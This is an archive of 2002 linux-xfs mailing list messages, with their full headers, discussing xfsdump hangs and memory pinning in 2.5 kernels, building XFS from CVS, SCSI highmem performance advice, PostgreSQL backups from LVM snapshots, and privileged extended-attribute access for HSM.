gAFKW2uR025372 for ; Fri, 15 Nov 2002 12:32:02 -0800 Received: by tapu.f00f.org (Postfix, from userid 1000) id DBC6B472A7; Fri, 15 Nov 2002 12:33:50 -0800 (PST) Date: Fri, 15 Nov 2002 12:33:50 -0800 From: Chris Wedgwood To: Zlatko Calusic Cc: linux-xfs@oss.sgi.com Subject: Re: xfsdump stuck in io_schedule Message-ID: <20021115203350.GA29437@tapu.f00f.org> References: <20021115112134.GA27856@tapu.f00f.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.4i X-No-Archive: Yes X-archive-position: 1726 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: cw@f00f.org Precedence: bulk X-list: linux-xfs On Fri, Nov 15, 2002 at 01:07:57PM +0100, Zlatko Calusic wrote: > What kernel do you use? Presently I'm running a kernel compiled from CVS as of yesterday, but the problem I found went away two days ago or so (using whatever was current then). > Hm, before answering that, I'll need a little help to compile kernel > with xfs from cvs. How do i proceed, get everything from cvs and put > instead of in-kernel tree? Something like: cvs -d :pserver:cvs@oss.sgi.com/cvs login "cvs" cvs -d :pserver:cvs@oss.sgi.com/cvs co linux-2.5-xfs cd linux-2.5-xfs/linux cp path/to/present/.config .config make oldconfig make dep bzImage modules [...] > I thought 2.5 follows cvs, is that true? I don't know official if it should, but it certainly lags a fair amount at times. Maybe someone from SGI can comment on how often stuff is pushed to Linus? > Or are we speaking just about last few days worth of work which is > in cvs but not yet synced to Linus kernel tree? I'm talking, in this instance, about something 'working' now that didn't a few days ago (being no longer able to get xfsdump getting stuck in io_schedule). In general though, it would seem Linus' tree lags by a few days to over a week at times. --cw From owner-linux-xfs@oss.sgi.com Fri Nov 15 12:38:42 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Fri, 15 Nov 2002 12:38:47 -0800 (PST) Received: from tolkor.sgi.com ([198.149.18.6]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gAFKcguR025937 for ; Fri, 15 Nov 2002 12:38:42 -0800 Received: from ledzep.americas.sgi.com (ledzep.americas.sgi.com [192.48.203.134]) by tolkor.sgi.com (8.12.2/8.12.2/linux-outbound_gateway-1.2) with ESMTP id gAFKiIkq023297 for ; Fri, 15 Nov 2002 14:44:18 -0600 Received: from daisy-e185.americas.sgi.com (daisy-e185.americas.sgi.com [128.162.185.214]) by ledzep.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id OAA79849; Fri, 15 Nov 2002 14:40:21 -0600 (CST) Received: from jen.americas.sgi.com (jen.americas.sgi.com [128.162.187.49]) by daisy-e185.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id OAA12966; Fri, 15 Nov 2002 14:40:20 -0600 (CST) Received: by jen.americas.sgi.com (8.11.6/SGI-client-1.7) id gAFKeAD24443; Fri, 15 Nov 2002 14:40:10 -0600 Subject: Re: xfsdump stuck in io_schedule From: Steve Lord To: Chris Wedgwood Cc: Zlatko Calusic , linux-xfs@oss.sgi.com In-Reply-To: <20021115203350.GA29437@tapu.f00f.org> References: <20021115112134.GA27856@tapu.f00f.org> <20021115203350.GA29437@tapu.f00f.org> Content-Type: text/plain Content-Transfer-Encoding: 7bit Organization: Message-Id: <1037392810.24118.17.camel@jen.americas.sgi.com> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.2.0 Date: 15 Nov 2002 14:40:10 -0600 X-archive-position: 1727 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: lord@sgi.com Precedence: bulk X-list: linux-xfs On Fri, 2002-11-15 at 14:33, Chris Wedgwood wrote: > > In general though, it would seem Linus' tree lags by a few days to > over a week at times. > It varies, but that is about right. Steve -- Steve Lord voice: +1-651-683-3511 Principal Engineer, Filesystem Software email: lord@sgi.com From owner-linux-xfs@oss.sgi.com Fri Nov 15 12:43:13 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Fri, 15 Nov 2002 12:43:15 -0800 (PST) Received: from tapu.f00f.org (tapu.f00f.org [66.60.186.129]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gAFKhDuR026481 for ; Fri, 15 Nov 2002 12:43:13 -0800 Received: by tapu.f00f.org (Postfix, from userid 1000) id B7B3F1A2B82; Fri, 15 Nov 2002 12:45:01 -0800 (PST) Date: Fri, 15 Nov 2002 12:45:01 -0800 From: Chris Wedgwood To: Andi Kleen Cc: Zlatko Calusic , linux-xfs@oss.sgi.com Subject: Re: xfsdump stuck in io_schedule Message-ID: <20021115204501.GB29437@tapu.f00f.org> References: <20021115135233.A13882@oldwotan.suse.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20021115135233.A13882@oldwotan.suse.de> User-Agent: Mutt/1.4i X-No-Archive: Yes X-archive-position: 1728 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: cw@f00f.org Precedence: bulk X-list: linux-xfs On Fri, Nov 15, 2002 at 01:52:33PM +0100, Andi Kleen wrote: > The 2.5 VM is still rather untuned, so you may just run into some > generic VM problem. It's something else (or was) I think. Under memory pressure (xfsdump to another filesystem is a good way to show this) various allocations fail but don't seem to be harmful. To get these messages typically I find you need to dump several GB. Those messages are the result of read-ahead failing[1]. I mentioned this to hch who knows this code 10x better than me seemed to think it wasn't the cause of the oopsen I was seeing but rather that it was read-ahead and it would fail gracefully. That said, shortly after this I would get oopsen, every night when xfsdump was running I would get an oops. About five days ago hch committed quite a few changes and my oopsen stopped but xfsdump was getting stick in io_schedule. I decided to try track this down with kdb only it went away completely a couple of days ago. I've since repeated by xfsdump stress-test which *always* made this happen something like 50 times and it's worked every time, I cannot anymore cause either the oops or an the process no longer gets stuck. I guess if nobody puts their hand up to claim to having fixed this, I should cvs update -D "5 days ago" sort of thing and try to get it to oops again, but so far, it's working so the temptation and desire to do this is rather limited :) --cw [1] Putting a show_stack() or whatever it's called in to dump the call-path when you get allocation failures shows this. From owner-linux-xfs@oss.sgi.com Fri Nov 15 12:45:56 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Fri, 15 Nov 2002 12:45:58 -0800 (PST) Received: from tolkor.sgi.com ([198.149.18.6]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gAFKjtuR026956 for ; Fri, 15 Nov 2002 12:45:56 -0800 Received: from ledzep.americas.sgi.com (ledzep.americas.sgi.com [192.48.203.134]) by tolkor.sgi.com (8.12.2/8.12.2/linux-outbound_gateway-1.2) with ESMTP id gAFKpWkq023438 for ; Fri, 15 Nov 2002 14:51:32 -0600 Received: from daisy-e185.americas.sgi.com (daisy-e185.americas.sgi.com [128.162.185.214]) by ledzep.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id OAA73910 for ; Fri, 15 Nov 2002 14:47:37 -0600 (CST) Received: from jen.americas.sgi.com (jen.americas.sgi.com [128.162.187.49]) by daisy-e185.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id OAA86182 for ; Fri, 15 Nov 2002 14:47:35 -0600 (CST) Received: by jen.americas.sgi.com (8.11.6/SGI-client-1.7) id gAFKlP425461; Fri, 15 Nov 2002 14:47:25 -0600 Subject: xfs performance on scsi in 2.4.20-rc1 From: Steve Lord To: linux-xfs@oss.sgi.com Content-Type: text/plain Content-Transfer-Encoding: 7bit Organization: Message-Id: <1037393245.24118.43.camel@jen.americas.sgi.com> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.2.0 Date: 15 Nov 2002 14:47:25 -0600 X-archive-position: 1729 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: lord@sgi.com Precedence: bulk X-list: linux-xfs It turns out that there are some issues in the scsi mid layer code which are killing xfs performance - if you are not running a HIGHMEM kernel. So if you are running 2.4.20-rc1 with xfs on scsi without HIGHMEM and HIGHIO turned on, then I recommend you turn them on. Steve -- Steve Lord voice: +1-651-683-3511 Principal Engineer, Filesystem Software email: lord@sgi.com From owner-linux-xfs@oss.sgi.com Fri Nov 15 13:24:07 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Fri, 15 Nov 2002 13:24:11 -0800 (PST) Received: from THOR.goeci.com (thor.goeci.com [66.28.220.99]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gAFLO6uR028446 for ; Fri, 15 Nov 2002 13:24:06 -0800 Received: by THOR.goeci.com with Internet Mail Service (5.5.2653.19) id ; Fri, 15 Nov 2002 16:25:49 -0500 Message-ID: <2D92FEBFD3BE1346A6C397223A8DD3FC09208C@THOR.goeci.com> From: Murthy Kambhampaty To: Postgres Admin List Cc: "Linux-Xfs (E-mail)" , "'linux-lvm@sistina.com'" Subject: PostgreSQL and file system level backup Date: Fri, 15 Nov 2002 16:25:49 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" X-archive-position: 1730 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: murthy.kambhampaty@goeci.com Precedence: bulk X-list: linux-xfs The postgresql documentation states that in order to get a usable backup from a filesystem dump (or copy) the database server must be shut down. Moreover, "Half-way measures such as disallowing all connections will not work as there is always some buffering going on. For this reason it is also not advisable to trust file systems that claim to support "consistent snapshots"." Just to make certain, is this true with running xfsdump on an LVM snapshot of the XFS filesystem? My question was prompted by a recent post on the linux-xfs list in which one of the xfs maintainers pointed out that xfsdumps are cache coherent. In response to my preliminary question, Tom Lane pointed out that: "Unless the postmaster is shut down meanwhile, you'll probably end up with a corrupt database. The problem is that xfsdump does not give you an instantaneous snapshot of the filesystem state, so you will probably collect inconsistent contents of the various files that make up the database." Which gives rise to my present question: given that LVM DOES give an instantaneous snapshot of the filesystem, would an xfsdump of an LVM snapshot of an XFS filesystem give usable backups? Thanks, Murthy PS: Our databases have crossed the 100 GB size, with some tables reaching 25 GB, so pg_dump is taking more than 5 hours to complete (changing the level of compression in custom format dump files from 6 to 1 did not significantly reduce the dump duration). Otherwise, pg_dump-ing the database (and copying the .conf files) was just dandy. From owner-linux-xfs@oss.sgi.com Fri Nov 15 14:30:54 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Fri, 15 Nov 2002 14:30:59 -0800 (PST) Received: from packet.digeo.com (packet.digeo.com [12.110.80.53]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gAFMUruR030762 for ; Fri, 15 Nov 2002 14:30:53 -0800 Received: from digeo-nav01.digeo.com (digeo-nav01.digeo.com [192.168.1.233]) by packet.digeo.com (8.9.3+Sun/8.9.3) with SMTP id OAA07501 for ; Fri, 15 Nov 2002 14:32:36 -0800 (PST) Received: from digeo-e2k03.digeo.com ([192.168.2.44]) by digeo-nav01.digeo.com (NAVGW 2.5.2.12) with SMTP id M2002111514344417688 ; Fri, 15 Nov 2002 14:34:44 -0800 Received: from pao-ex01.pao.digeo.com ([172.17.144.34]) by digeo-e2k03.digeo.com with Microsoft SMTPSVC(5.0.2195.5329); Fri, 15 Nov 2002 14:32:36 -0800 Received: from digeo.com ([172.17.140.150]) by pao-ex01.pao.digeo.com with Microsoft SMTPSVC(5.0.2195.4905); Fri, 15 Nov 2002 14:32:35 -0800 Message-ID: <3DD57602.857AD62D@digeo.com> Date: Fri, 15 Nov 2002 14:32:34 -0800 From: Andrew Morton X-Mailer: Mozilla 4.79 [en] (X11; U; Linux 2.5.46 i686) X-Accept-Language: en MIME-Version: 1.0 To: zlatko.calusic@iskon.hr CC: Andi Kleen , linux-xfs@oss.sgi.com Subject: Re: xfsdump stuck in io_schedule References: <20021115135233.A13882@oldwotan.suse.de> <20021115140635.A31836@wotan.suse.de> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-OriginalArrivalTime: 15 Nov 2002 22:32:35.0316 (UTC) FILETIME=[E5177B40:01C28CF6] X-archive-position: 1731 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: akpm@digeo.com Precedence: bulk X-list: linux-xfs Zlatko Calusic wrote: > > Oh, yes, you're completely right, of course. It's the pinned part of > page cache that makes big pressure on the memory. Whole lot of > inactive page cache pages (~700MB in my case) is not really good > indicator of recyclable memory, when (probably) a big part of it is > pinned and can't be thrown out. So it is VM, after all. Does xfs_dump actually pin 700 megs of memory?? If someone could provide a detailed description of what xfs_dump is actually doing internally, that may help me shed some light. xfs_dump is actually using kernel support for coherency reasons, is that not so? How does it work? Does the machine have highmem? What was the backtrace into the page allocation failure? From owner-linux-xfs@oss.sgi.com Fri Nov 15 14:35:26 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Fri, 15 Nov 2002 14:35:27 -0800 (PST) Received: from rj.sgi.com (rj.SGI.COM [192.82.208.96]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gAFMZQuR031235 for ; Fri, 15 Nov 2002 14:35:26 -0800 Received: from ledzep.americas.sgi.com (ledzep.americas.sgi.com [192.48.203.134]) by rj.sgi.com (8.12.2/8.12.2/linux-outbound_gateway-1.2) with ESMTP id gAFKatG8018803 for ; Fri, 15 Nov 2002 12:36:59 -0800 Received: from daisy-e185.americas.sgi.com (daisy-e185.americas.sgi.com [128.162.185.214]) by ledzep.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id QAA60168 for ; Fri, 15 Nov 2002 16:36:50 -0600 (CST) Received: from jen.americas.sgi.com (jen.americas.sgi.com [128.162.187.49]) by daisy-e185.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id QAA99580 for ; Fri, 15 Nov 2002 16:36:48 -0600 (CST) From: Steve Lord Received: by jen.americas.sgi.com (8.11.6/SGI-client-1.7) id gAFMac903981; Fri, 15 Nov 2002 16:36:38 -0600 Message-Id: <200211152236.gAFMac903981@jen.americas.sgi.com> Date: Fri, 15 Nov 2002 16:36:38 -0600 Subject: TAKE - merge up to 2.4.20-rc2 To: linux-xfs@oss.sgi.com X-archive-position: 1732 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: lord@sgi.com Precedence: bulk X-list: linux-xfs As mentioned earlier, to get good performance from xfs on scsi you need to turn on highmem and highio right now, even if you do not have that much memory. Date: Fri Nov 15 14:35:37 PST 2002 Workarea: jen.americas.sgi.com:/src/lord/xfs-merge.2.4 The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: 2.4.x-xfs:slinx:133250a linux/net/sunrpc/xprt.c - 1.24 linux/net/sunrpc/xdr.c - 1.8 linux/net/ipv4/tcp_input.c - 1.38 linux/fs/ncpfs/dir.c - 1.27 linux/fs/ext2/ialloc.c - 1.21 linux/fs/ext2/dir.c - 1.19 linux/fs/buffer.c - 1.113 linux/drivers/video/fbcon.c - 1.27 linux/drivers/char/Config.in - 1.59 linux/arch/sparc64/kernel/traps.c - 1.18 linux/arch/sparc64/kernel/sys_sparc32.c - 1.46 linux/arch/sparc64/kernel/sys32.S - 1.6 linux/arch/sparc64/kernel/ioctl32.c - 1.52 linux/arch/sparc64/kernel/head.S - 1.17 linux/arch/sparc64/kernel/cpu.c - 1.8 linux/arch/sparc/mm/sun4c.c - 1.32 linux/arch/sparc/mm/iommu.c - 1.12 linux/arch/sparc/mm/io-unit.c - 1.12 linux/arch/ppc/kernel/ppc_ksyms.c - 1.42 linux/arch/i386/kernel/entry.S - 1.47 linux/Makefile - 1.180 linux/CREDITS - 1.74 linux/drivers/char/sx.c - 1.26 linux/include/math-emu/op-4.h - 1.4 linux/drivers/ide/via82cxxx.c - 1.21 linux/drivers/net/sundance.c - 1.16 linux/drivers/usb/hid-input.c - 1.4 linux/drivers/net/tg3.c - 1.6 linux/drivers/net/tg3.h - 1.5 From owner-linux-xfs@oss.sgi.com Fri Nov 15 14:36:48 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Fri, 15 Nov 2002 14:36:50 -0800 (PST) Received: from thunker.thunk.org (thunk.org [140.239.227.29]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gAFMaluR031400 for ; Fri, 15 Nov 2002 14:36:47 -0800 Received: from [216.175.175.162] (helo=think.thunk.org) by thunker.thunk.org with asmtp (Exim 3.35 #1 (Debian)) id 18Cp5E-0001ys-00; Fri, 15 Nov 2002 17:37:04 -0500 Received: from tytso by think.thunk.org with local (Exim 3.35 #1 (Debian)) id 18Cp5D-0000tu-00; Fri, 15 Nov 2002 17:37:03 -0500 Date: Fri, 15 Nov 2002 17:37:03 -0500 From: "Theodore Ts'o" To: "Stephen C. Tweedie" Cc: Andreas Gruenbacher , Alexander Viro , ext2-devel@lists.sourceforge.net, linux-xfs@oss.sgi.com Subject: Re: Extended attributes: process vs. kernel context (e.g. HSM) Message-ID: <20021115223702.GA3424@think.thunk.org> References: <200211100135.26236.agruen@suse.de> <20021110013233.GH9589@think.thunk.org> <200211111334.32074.agruen@suse.de> <20021111210524.GB6032@think.thunk.org> <20021115170730.M4512@redhat.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20021115170730.M4512@redhat.com> User-Agent: Mutt/1.3.28i X-archive-position: 1733 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: tytso@mit.edu Precedence: bulk X-list: linux-xfs On Fri, Nov 15, 2002 at 05:07:30PM +0000, Stephen C. Tweedie wrote: > I'd have thought that the likely model for an HSM system is that the > requesting user process would find the inode marked "not-in-core", and > would pass the "please make this inode resident" request out to a > separate process for completion. Only that external process would > require access to the HSM metadata, so it's not immediately obvious > why the initial caller process absolutely has to have access to the > HSM metadata. Sure, and if that external process will either have root (or CAP_SYS_ADMIN) privileges, then we don't need to do anything special. However, we might need to do something special is if there is a desire to examine the HSM metadata in kernel space rather than in user space. After all, the initial interception where the kernel notices that the inode isn't resident would likely happen in the kernel, since the idea is for HSM to be transparent to user processes. So the kernel logic when opening a file might very well be: 1) Is the the size of the inode zero? (If not, perform a normal open.) 2) The inode is zero; check to see if there is HSM metadata present. (If not, perform a normal open; the user just opened a zero-legnth inode. Ho hum.) 3) If HSM metadata is present, then this is a non-resident inode. Call out to a daemon process to make the inode resident. In this design, the check to see whether or not HSM metadata is present or not needs to happen as a privileged call. So it may very well be useful to be able to pass a flag to get_xattr to indicating that privileged access to the trusted.* space should be allowed, since the it is being done for official kernel business. - Ted From owner-linux-xfs@oss.sgi.com Fri Nov 15 14:41:07 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Fri, 15 Nov 2002 14:41:09 -0800 (PST) Received: from rj.sgi.com (rj.SGI.COM [192.82.208.96]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gAFMf7uR032207 for ; Fri, 15 Nov 2002 14:41:07 -0800 Received: from ledzep.americas.sgi.com (ledzep.americas.sgi.com [192.48.203.134]) by rj.sgi.com (8.12.2/8.12.2/linux-outbound_gateway-1.2) with ESMTP id gAFKgrG8019085 for ; Fri, 15 Nov 2002 12:42:54 -0800 Received: from daisy-e185.americas.sgi.com (daisy-e185.americas.sgi.com [128.162.185.214]) by ledzep.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id QAA96216; Fri, 15 Nov 2002 16:42:47 -0600 (CST) Received: from jen.americas.sgi.com (jen.americas.sgi.com [128.162.187.49]) by daisy-e185.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id QAA71329; Fri, 15 Nov 2002 16:42:45 -0600 (CST) Received: by jen.americas.sgi.com (8.11.6/SGI-client-1.7) id gAFMgZ104017; Fri, 15 Nov 2002 16:42:35 -0600 Subject: Re: xfsdump stuck in io_schedule From: Steve Lord To: Andrew Morton Cc: zlatko.calusic@iskon.hr, Andi Kleen , linux-xfs@oss.sgi.com In-Reply-To: <3DD57602.857AD62D@digeo.com> References: <20021115135233.A13882@oldwotan.suse.de> <20021115140635.A31836@wotan.suse.de> <3DD57602.857AD62D@digeo.com> Content-Type: text/plain Content-Transfer-Encoding: 7bit Organization: Message-Id: <1037400155.24118.231.camel@jen.americas.sgi.com> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.2.0 Date: 15 Nov 2002 16:42:35 -0600 X-archive-position: 1734 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: lord@sgi.com Precedence: bulk X-list: linux-xfs On Fri, 2002-11-15 at 16:32, Andrew Morton wrote: > Zlatko Calusic wrote: > > > > Oh, yes, you're completely right, of course. It's the pinned part of > > page cache that makes big pressure on the memory. Whole lot of > > inactive page cache pages (~700MB in my case) is not really good > > indicator of recyclable memory, when (probably) a big part of it is > > pinned and can't be thrown out. So it is VM, after all. > > Does xfs_dump actually pin 700 megs of memory?? > > If someone could provide a detailed description of what xfs_dump > is actually doing internally, that may help me shed some light. > xfs_dump is actually using kernel support for coherency reasons, > is that not so? How does it work? Hmm, a detailed description of xfsdump would take a long time. However, it is reading the filesystem via system calls. It uses an ioctl to read inodes from disk in chunks, it does not do a directory walk. Data is read from files via the read system call. It does keep a bunch of stuff around in memory, but this sounds like way too much and not at all normal. > > Does the machine have highmem? > > What was the backtrace into the page allocation failure? and what does the slabcache look like? It is always possible we are leaking inode references in the 2.5 version of the bulkstat code. Steve -- Steve Lord voice: +1-651-683-3511 Principal Engineer, Filesystem Software email: lord@sgi.com From owner-linux-xfs@oss.sgi.com Fri Nov 15 14:46:36 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Fri, 15 Nov 2002 14:46:38 -0800 (PST) Received: from packet.digeo.com (packet.digeo.com [12.110.80.53]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gAFMkauR000417 for ; Fri, 15 Nov 2002 14:46:36 -0800 Received: from digeo-nav01.digeo.com (digeo-nav01.digeo.com [192.168.1.233]) by packet.digeo.com (8.9.3+Sun/8.9.3) with SMTP id OAA08133 for ; Fri, 15 Nov 2002 14:48:19 -0800 (PST) Received: from digeo-e2k03.digeo.com ([192.168.2.44]) by digeo-nav01.digeo.com (NAVGW 2.5.2.12) with SMTP id M2002111514502822899 ; Fri, 15 Nov 2002 14:50:28 -0800 Received: from pao-ex01.pao.digeo.com ([172.17.144.34]) by digeo-e2k03.digeo.com with Microsoft SMTPSVC(5.0.2195.5329); Fri, 15 Nov 2002 14:48:19 -0800 Received: from digeo.com ([172.17.140.150]) by pao-ex01.pao.digeo.com with Microsoft SMTPSVC(5.0.2195.4905); Fri, 15 Nov 2002 14:48:18 -0800 Message-ID: <3DD579B2.C7C7F384@digeo.com> Date: Fri, 15 Nov 2002 14:48:18 -0800 From: Andrew Morton X-Mailer: Mozilla 4.79 [en] (X11; U; Linux 2.5.46 i686) X-Accept-Language: en MIME-Version: 1.0 To: Steve Lord CC: zlatko.calusic@iskon.hr, Andi Kleen , linux-xfs@oss.sgi.com Subject: Re: xfsdump stuck in io_schedule References: <3DD57602.857AD62D@digeo.com> <1037400155.24118.231.camel@jen.americas.sgi.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-OriginalArrivalTime: 15 Nov 2002 22:48:18.0648 (UTC) FILETIME=[175C8580:01C28CF9] X-archive-position: 1735 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: akpm@digeo.com Precedence: bulk X-list: linux-xfs Steve Lord wrote: > > On Fri, 2002-11-15 at 16:32, Andrew Morton wrote: > > Zlatko Calusic wrote: > > > > > > Oh, yes, you're completely right, of course. It's the pinned part of > > > page cache that makes big pressure on the memory. Whole lot of > > > inactive page cache pages (~700MB in my case) is not really good > > > indicator of recyclable memory, when (probably) a big part of it is > > > pinned and can't be thrown out. So it is VM, after all. > > > > Does xfs_dump actually pin 700 megs of memory?? > > > > If someone could provide a detailed description of what xfs_dump > > is actually doing internally, that may help me shed some light. > > xfs_dump is actually using kernel support for coherency reasons, > > is that not so? How does it work? > > Hmm, a detailed description of xfsdump would take a long time. However, > it is reading the filesystem via system calls. It uses an ioctl to > read inodes from disk in chunks, it does not do a directory walk. > Data is read from files via the read system call. It does keep a > bunch of stuff around in memory, but this sounds like way too > much and not at all normal. Oh, so there isn't any special-purpose in-kernel bulk disk access stuff to support xfs_dump? Hm. It should all be easily reclaimable then. > > > > Does the machine have highmem? > > > > What was the backtrace into the page allocation failure? > > and what does the slabcache look like? Bill Irwin wrote a couple of neat scripts for monitoring slab. http://www.zipworld.com.au/~akpm/linux/patches/stuff/bloatmeter http://www.zipworld.com.au/~akpm/linux/patches/stuff/bloatmon Stick them in your $PATH and run `bloatmeter'. From owner-linux-xfs@oss.sgi.com Fri Nov 15 14:47:03 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Fri, 15 Nov 2002 14:47:05 -0800 (PST) Received: from Cantor.suse.de (ns.suse.de [213.95.15.193]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gAFMl2uR000637 for ; Fri, 15 Nov 2002 14:47:03 -0800 Received: from Hermes.suse.de (Charybdis.suse.de [213.95.15.201]) by Cantor.suse.de (Postfix) with ESMTP id 35BA61453F; Fri, 15 Nov 2002 23:48:46 +0100 (MET) Date: Fri, 15 Nov 2002 23:48:45 +0100 From: Andi Kleen To: Steve Lord Cc: Andrew Morton , zlatko.calusic@iskon.hr, Andi Kleen , linux-xfs@oss.sgi.com Subject: Re: xfsdump stuck in io_schedule Message-ID: <20021115234845.A8265@wotan.suse.de> References: <20021115135233.A13882@oldwotan.suse.de> <20021115140635.A31836@wotan.suse.de> <3DD57602.857AD62D@digeo.com> <1037400155.24118.231.camel@jen.americas.sgi.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1037400155.24118.231.camel@jen.americas.sgi.com> User-Agent: Mutt/1.3.22.1i X-archive-position: 1736 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: ak@suse.de Precedence: bulk X-list: linux-xfs > Hmm, a detailed description of xfsdump would take a long time. However, There seems to be an somewhat detailed documented in the CVS tree in cmd/xfsdump/doc/xfsdump.html (with wrong mime type) http://oss.sgi.com/cgi-bin/cvsweb.cgi/linux-2.4-xfs/cmd/xfsdump/doc/xfsdump.html?rev=1.7&content-type=text/x-cvsweb-markup -Andi From owner-linux-xfs@oss.sgi.com Fri Nov 15 14:54:04 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Fri, 15 Nov 2002 14:54:06 -0800 (PST) Received: from Cantor.suse.de (ns.suse.de [213.95.15.193]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gAFMs3uR002036 for ; Fri, 15 Nov 2002 14:54:04 -0800 Received: from Hermes.suse.de (Charybdis.suse.de [213.95.15.201]) by Cantor.suse.de (Postfix) with ESMTP id 29E151453F; Fri, 15 Nov 2002 23:55:47 +0100 (MET) Date: Fri, 15 Nov 2002 23:55:46 +0100 From: Andi Kleen To: Steve Lord Cc: Andrew Morton , zlatko.calusic@iskon.hr, Andi Kleen , linux-xfs@oss.sgi.com Subject: Re: xfsdump stuck in io_schedule - st driver pinning Message-ID: <20021115235546.A10107@wotan.suse.de> References: <20021115135233.A13882@oldwotan.suse.de> <20021115140635.A31836@wotan.suse.de> <3DD57602.857AD62D@digeo.com> <1037400155.24118.231.camel@jen.americas.sgi.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1037400155.24118.231.camel@jen.americas.sgi.com> User-Agent: Mutt/1.3.22.1i X-archive-position: 1737 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: ak@suse.de Precedence: bulk X-list: linux-xfs Another comment: wasn't the ST driver recently changed in 2.5 to do direct IO from user space? That could disturb VM somewhat too because it will pin a lot of pages. -Andi From owner-linux-xfs@oss.sgi.com Fri Nov 15 14:58:15 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Fri, 15 Nov 2002 14:58:17 -0800 (PST) Received: from rj.sgi.com (rj.SGI.COM [192.82.208.96]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id gAFMwFuR002581 for ; Fri, 15 Nov 2002 14:58:15 -0800 Received: from ledzep.americas.sgi.com (ledzep.americas.sgi.com [192.48.203.134]) by rj.sgi.com (8.12.2/8.12.2/linux-outbound_gateway-1.2) with ESMTP id gAFL02G8019911 for ; Fri, 15 Nov 2002 13:00:02 -0800 Received: from daisy-e185.americas.sgi.com (daisy-e185.americas.sgi.com [128.162.185.214]) by ledzep.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id QAA49820 for ; Fri, 15 Nov 2002 16:59:56 -0600 (CST) Received: from jen.americas.sgi.com (jen.americas.sgi.com [128.162.187.49]) by daisy-e185.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id QAA28514 for ; Fri, 15 Nov 2002 16:59:55 -0600 (CST) From: Steve Lord Received: by jen.americas.sgi.com (8.11.6/SGI-client-1.7) id gAFMxj604140; Fri, 15 Nov 2002 